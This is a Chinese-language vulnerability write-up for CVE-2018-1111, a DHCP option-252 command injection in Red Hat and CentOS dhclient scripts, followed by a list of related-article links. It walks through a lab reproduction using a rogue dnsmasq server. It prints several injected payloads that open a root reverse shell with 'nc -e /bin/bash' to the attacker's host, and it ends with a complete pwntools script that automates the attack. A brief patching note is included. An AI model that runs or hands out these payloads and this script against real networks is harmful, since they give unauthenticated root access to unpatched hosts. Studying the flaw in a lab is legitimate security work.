CVE-2018-1111劫持dhcp造成centos代码执行漏洞
0x01 漏洞概述
近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。
0x02 影响版本
Red Hat Enterprise Linux Server 6
Red Hat Enterprise Linux Server 7
CentOS 6
CentOS 7
0x03 漏洞详情
DHCP 是一个局域网的网络协议,主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。

使用单引号使参数值逃逸成功,导致了命令执行
--dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
0x04 漏洞复现
复现时需要注意的点:
1.两台虚拟机的网络适配器都需要设置为 仅主机模式
2.停用主机模式的DHCP服务LS8 z( D/ M0 ~& J2 f9 l
环境
攻击机:kali 2018.2
受害机:centos7
去下载了清华镜像站里的centos 7
https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/CentOS-7-x86_64-DVD-1708.iso
vmware12.0
设置网络
这里我用 vmware 虚拟机来实现,两个系统都是连接到 VMnet1 网卡上(仅主机模式),并且关闭网卡上的
DHCP 服务。

接着我们开始配置 kali 上的 dhcp 服务器,dnsmasq
是一个小巧且方便地用于配置 DNS 和 DHCP 的工具,适用于小型网络,它提供了 DNS 功能和可选择的 DHCP 功能,可以快速搭建一个 DNS 服务或者 DHCP 服务。
对kali做配置
先对kali下的ip进行静态配置并添加路由,命令如下:
ifconfig eth0 192.168.71.5 netmask
255.255.255.0
route add default gw 192.168.71.5
首先我们创建一个 dnsmasq 需要使用到的配置文件 /etc/dnsmasq.conf,内容如下:
Vim /etc/dnsmassq.conf
bind-interfaces
interface=eth0
except-interface=lo
dhcp-range=192.168.71.10,192.168.71.30,22h
dhcp-option=3,192.168.131.5
dhcp-option=6,192.168.131.5
log-queries
log-facility=/var/log/dnsmasq.log
参数解释:
dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间
dhcp-option: 表示指定给 DHCP 客户端的选项信息
log-facility: 表示日志记录器
其中配置文件中包括的 option 取值及含义如下:
3: 设置网关地址选项
6: 设置 DNS 服务器地址选项
252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。
这里 dnsmasq.conf 中的 dhcp-range 我设置
为 192.168.71.10-192.168.71.30/24 这个 ip 地址范围,租约时间为 12h。
dhcp-option 3 网关地址和 dhcp-option6
DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。修改好 /etc/dnsmasq.conf 配置文件之后,还不能直接启动 dnsmasq 服务。
利用dnsmasq伪造dns服务器,命令执行 payload 如下:
dnsmasq -dC dnsmasq.conf
--dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"

这里的 -d 表示调试模式,-C 表示指定配置文件运行 dnsmasq 服务,更多有关 dnsmasq 的命令详解可以用 man dnsmasq 查看。
命令执行的效果是通过 nc 反弹 shell 到 192.168.71.5 的 6666 端口,所以需要在 kali 开启 nc 端口监听,命令如下:
nc -l -p 6666 -v

攻击
现在centos设置成dhcp获取ip地址,重启一下网卡!此时 Centos 需要重启网络服务,获取 DHCP 服务器下发的 ip 地址,这里可以看到获取到了 ip 地址 192.168.71.18
命令如下:
/etc/init.d/network restart

已经显示获取到了IP 了 ,看看kali 这边的情况吧

此时在kali的nc可以拿到centos的shell,且为root权限
0x05 漏洞原理
单引号在脚本逃逸了,直接以root权限执行了脚本。
dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #”
0x06 修复方法
#yum update dhclient
#rpm -qa --changelog dhclient | grep
CVE-2018 - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse
backslash as escape character
Ox7 利用exp
#/usr/bin/python
#encoding = utf-8
from pwn import *
import os
import sys
import time
# author : xyzz@chamd5.org
# time : 20180520
ip='192.168.131.52'
port=1314
# context.log_level='debug'
def pwn(ip,port):
f=open('dnsmasq.conf','w')
start = ip[:ip.rfind('.')]+'.10'
end = ip[:ip.rfind('.')]+'.30'
dnsmasq = '''
bind-interfaces
interface=eth0
except-interface=lo
dhcp-range={start},{end},22h
dhcp-option=3,{ip}
dhcp-option=6,{ip}
log-queries
log-facility=/var/log/dnsmasq.log
'''.format(ip=ip,start=start,end=end)
f.write(dnsmasq)
f.close()
cm=[]
cm.append('ifconfig eth0 {ip} netmask 255.255.255.0 '.format(ip=ip))
cm.append('route add default gw {ip}'.format(ip=ip))
cm.append('''dnsmasq -dC dnsmasq.conf
--dhcp-option="252,'&nc -e /bin/bash {ip} {port}
#"'''.format(ip=ip,port=port))
q=process('bash')
for i in range(len(cm)-1):
q.sendline(cm[i])
time.sleep(1)
# time.sleep(100)
p=process('bash')
p.sendline('nc -l -p {port} -v'.format(port=port))
q.sendline(cm[-1])
time.sleep(3)
p.interactive()
# q.interactive()
if __name__ == '__main__':
pwn(ip,port)


CVE-2018-1111劫持dhcp造成centos代码执行漏洞的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- MongoDB ‘conn’Mongo 对象远程代码执行漏洞
漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...
- Struts2再爆远程代码执行漏洞
Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass
0x00 漏洞简介 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞. 漏洞CVE编号:CVE-2017-12615和CVE-2017-12616. 其中 远程代码执行漏洞 ...
随机推荐
- 《Redis设计与实现》阅读笔记(一)--Redis学习
Redis学习资料与过程记录 在实习中经常会用到很多Redis,对Redis有了一些模糊的了解,总觉得隔靴搔痒的不痛快,所以决定开始深入的了解Redis,也作为我实习期间的目标. 这篇只是为了占个位置 ...
- Oracle扩展包(pipe,alert,job,scheduler)
--定义包中函数的纯度级别 create or replace package purityTest is type dept_typ is table of dept%rowtype index b ...
- CHAPTER 38 Reading ‘the Book of Life’ The Human Genome Project 第38章 阅读生命之书 人体基因组计划
CHAPTER 38 Reading ‘the Book of Life’ The Human Genome Project 第38章 阅读生命之书 人体基因组计划 Humans have about ...
- Erlang数据类型的表示和实现(3)——列表
列表 Erlang 中的列表是通过链表实现的,表示列表的 Eterm 就是这个链表的起点.列表 Eterm 中除去 2 位标签 01 之外,剩下的高 62 位表示指向列表中第一个元素的指针的高 62 ...
- DB2分页查询简单示例
select * from ( select a.* ,rownumber() over(order by create_time desc) as rowid from ( select * fro ...
- No.1010_第七次团队会议
渺茫的前景 今天大家都很失望,一来昨天的问题还是继续存在着,仍然没有完成.二来,我们看了一下其余几个组的界面,对自己有些难过. 我们组确实存在人手少的问题,这几天我还因为挑战杯的事情缺席了两天,感觉内 ...
- 软工1816 · Beta冲刺(1/7)
团队信息 队名:爸爸饿了 组长博客:here 作业博客:here 组员情况 组员1(组长):王彬 过去两天完成了哪些任务 完成beta冲刺阶段的任务安排 整理博客 接下来的计划 & 还剩下哪些 ...
- Sprint--5.21
看到作业要求组长就召开小组成员开了一个简短的会议,会议内容大致是这样的: 1.再次明确任务:就是每一个人都要清楚知道自己扮演的角色应该做些什么,怎么去做: 2.组长定时更新博客,每一位小组成员也要写进 ...
- UDP与TCP笔记
1.UDP UDP协议在工作时是建立在IP协议之上的,UDP从进程的缓冲区接收进程每一次产生的输出,对每次输出都生成一个UDP数据报,然后把生成的UDP数据报直接封装在IP数据报中进行传输,因此在传输 ...
- java synchronized关键字浅析
synchronized这个关键字想必学Java的人都应该知道. 直接上例子: 方法级别实例 public class AtomicInteger { private int index; publi ...